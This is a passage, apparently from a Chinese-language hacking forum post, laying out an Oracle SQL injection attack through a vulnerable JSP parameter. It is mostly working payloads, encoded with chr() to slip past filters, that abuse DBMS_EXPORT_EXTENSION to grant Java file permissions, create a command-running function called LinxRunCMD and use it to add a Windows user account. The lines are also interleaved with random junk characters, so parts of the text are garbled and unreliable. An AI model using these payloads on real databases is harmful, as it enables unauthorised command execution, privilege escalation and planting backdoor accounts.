chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||
' s( T2 j$ r% Hchr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)|| U% G Y8 Y/ t! R
chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||0 b6 ] w9 `2 w9 `( _
chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||3 M% M2 n- g4 t7 P* l% b5 \
chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||
7 Q" w6 { [) H1 |" x/ cchr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||
& F/ Z; ?! X o6 R% h3 Z3 M# echr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||! O* ]" m1 H" j0 v- t [1 b$ }+ {
chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||
$ C3 {* z( L" V" }1 Xchr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||7 V4 K; n5 Z3 l
chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||
, T4 `7 q7 e" Uchr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||
5 Q; ^4 |7 K3 k! f3 i/ dchr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||' I; N9 u9 y% ~2 y6 L; c
chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||& T- n B" O, p- u$ `* }
chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)3 d5 O1 j) i; u
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
\, C/ E4 E2 y: H$ d" R, G1 k! x& U9 T8 Z
)
" v3 {0 d3 Q1 K. N1 v) c6 Q6 l# x2 R# Y2 ~ t1 k1 M5 B
------------------------------
2 P) N; Y; M6 @$ c0 |
. D5 z: j2 D2 S4 ~9 K W+ {2.赋Java权限* `4 |4 i; ~! P6 i! w6 s2 r; y
/xxx.jsp?id=1 and chr(49)<>chr(50)||(, y' N9 L. l8 Z% L4 Z7 u. X# n
. X) ~ t( s5 y
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),. R. M& E* h2 x/ z
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||5 Q( T( ?+ `( `5 A* Q
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||7 F3 r: i% I3 X
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||6 m8 U! n2 A$ N* o' Q
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||( _' G) W9 c; J
chr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||% x8 d$ [6 {- ^. T. W+ I5 I9 V
chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||1 D( z) G" S! k; j/ i9 Y$ C( j
chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||
) Z( ~) p: J4 e6 t; |* G) n- t* B% Cchr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||" L2 |* y" s# V( q; |2 \
chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)' s2 p/ B+ d* C" V8 v
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual5 I3 I' F: F( ^( q0 U$ t6 r
7 U% E" [* p. n)
. l3 ~) ?# @* u" @; w+ z; k
+ J3 @4 q% o$ f& K0 |& greadfile函数的ascii版就不写了,见谅。) Y+ x, s5 \# j5 u; {
6 c9 j4 H! H' [" |. h$ _5 X
3.创建函数# W7 N8 S2 c, G! c, u: j
: M5 e6 p7 x- V" Q3 xselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),* ]- _; Q- }/ ~$ V K
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
7 D% s: w/ I2 C) e$ Cchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||; I: t5 a# g0 _9 S9 w+ Z
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
- Z# k1 H* U+ F$ b7 T% Tchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||
3 e+ ~$ ~" S4 j$ S* j' Vchr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||
* U% R0 `" g+ Xchr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||+ J) @3 p/ m) d8 D& a
chr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||1 G8 s* x1 y4 e0 v4 j4 Y. m$ ?
chr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||$ W9 J- D; P, {' N/ }9 L- Z
chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||0 f/ Q) Y0 \9 p8 y- T: P9 p
chr(59)||chr(45)||chr(45)
" h6 q2 B2 Y( @! Z3 k,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
. g( p; n7 B4 c2 ]$ E. V8 I! a: @( j9 z3 m$ i! I3 H |
- o/ m8 `; ?" |8 C# l9 Z& D/ i+ R
1 o1 e% a( U' ?( G4.赋public执行函数的权限. p- W& f5 e( W% ?. p
" x. O q1 C! |; _: `select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),# A6 J; b$ j6 ?) B
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||( S) X- \& k+ [. E% Q8 J
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
# c8 H2 l: K% a. o8 {3 X) ]" B0 Mchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||2 N6 S$ x/ f+ k* x( }* j
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||3 S4 s9 p7 t& M& j% z
chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||2 m. W: G m7 T6 A2 A8 O6 a
chr(59)||chr(45)||chr(45)) ^) f- t; [% p6 h, K
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual- N9 H2 u( g! z
. X" h. |6 P9 \: N0 n
2 v" S7 c5 o' B2 c5 N
$ y u8 ^& y1 k6 }5.执行命令:
& R' V2 B2 a- m" _4 w: } D. l2 w
% K) H7 F0 j4 C/xxx.jsp?id=1 and chr(49)<>chr(32)||(/ Q9 u3 y: s3 ]1 E7 `9 ~
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
$ K- L$ ?' p Y. t9 P)
2 h' X6 T% }/ u% t$ W# F* V" J( @
即" ]" T9 v: H/ W8 g, ~# I
/xxx.jsp?id=1 and chr(49)<>chr(32)||(
. O' m& N9 G4 _2 _select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual
5 k' j0 ^- o7 h0 k6 I: C/ W6 ])8 r9 \6 y; y# G3 V. z- P
|